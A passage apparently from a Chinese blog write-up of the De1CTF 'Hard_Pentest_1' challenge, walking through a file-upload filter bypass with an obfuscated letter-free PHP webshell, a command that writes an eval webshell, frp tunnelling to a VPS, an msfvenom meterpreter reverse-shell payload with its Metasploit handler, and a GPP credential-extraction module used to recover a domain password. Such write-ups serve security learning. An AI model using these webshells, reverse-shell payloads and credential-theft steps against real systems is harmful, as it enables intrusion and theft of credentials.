• De1CTF Hard_Pentest_1


    文件上传

    过滤如下

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
            !in_array($exts, $BlackExts) && 
            !preg_match('/../',$_FILES["file"]["name"])) {
              return true;
        }
    

    用p神讲过的自增shell可以绕过,没有php所以用短标签绕过,没有分号用逗号代替,也可以把每句话都用短标签括起来

    <?=
    @$_=[].'',
    @$__=$_[''],
    $___='',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$___.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
    $____='_',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
    $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
    $_=$$____,$___($_[_]) ?>
    //<?= SYSTEM($_POST[_]) ?>
    

    再post一个_=echo "<?php eval($_REQUEST[cmd]); ?>" > 1.php,就可以拿蚁剑连上去了

    frp + msf搭建渗透环境

    题目给了hint说flag不在web服务器上,说明可能下一步要进行域渗透,我们的一句话木马就有点不够看了。在尝试各种弹shell方式都失败后,想到用msf。但是目标靶机在公网,kali在内网,直接反向shell是连不到的,所以只能祭出frp来进行内网穿透和转发。 首先去release页面下载对应平台的frp,然后将frps放到vps上,配置文件frps.ini内容如下

    [common]
    bind_port = 10001
    

    表示frp服务器端接收客户端流量的端口。 将frpc放到kali里,配置文件frpc.ini内容如下

    [common]
    server_addr = xxx.xxx.xxx.xxx
    server_port = 10001
    
    [msf]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 4444
    remote_port = 10002
    

    各项配置的意义为

    • server_addrvps的公网IP
    • server_portvps的监听端口,要与frps中的端口一致
    • local_port本地msf监听的端口,frps会把靶机的流量转发过来
    • remote_portfrps将通过vps的这个端口监听靶机的流量

    接下来用msfvenom生成后门msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=10002 -f exe > remoteevil.exe,这里lhost是vps的公网ip,端口要填remote_port

    vps上运行frps -c frps.ini

    kali上运行frpc -c frpc.ini

    msf做好收shell准备,把生成的后门用蚁剑传到靶机上去运行

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 127.0.0.1
    set lport 4444
    exploit
    

    域渗透与GPP

    查看域下的用户

    在共享目录下找到flag1压缩包

    download下来发现打开需要密码

    联想到之前有个用户的名字是HintZip_Pass,说明我们需要知道这个用户的密码。看wp后知道这里有个GPP漏洞(怎么发现的?),具体原理可以看这篇文章域安全篇:寻找SYSVOL里的密码和攻击GPP(组策略偏好)。漏洞利用正好msf有这个模块

    use post/windows/gather/credentials/gpp
    set SESSION 4
    show options
    exploit
    

    成功跑出来密码

    和存放密态密码的xml

    解密压缩包,得到flag

  • 相关阅读:
    BrowserSync,自动刷新,解放F5,去掉更新提示
    js获取手机系统语言
    块元素,行内元素,行内块区别
    原生js判断某个元素是否有指定的class名的几种方法
    如何实现调用console.log(‘good’.repeat(3))时输出goodgoodgood?
    数组如何去除重复数据,只保留一条
    Sentinel笔记-Flow流控规则
    sentinel笔记 NodeSelectorSlot,ClusterBuilderSlot
    Sentinel笔记--Slotchain
    Sentinel笔记-核心类
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12839549.html
Copyright © 2020-2023  润新知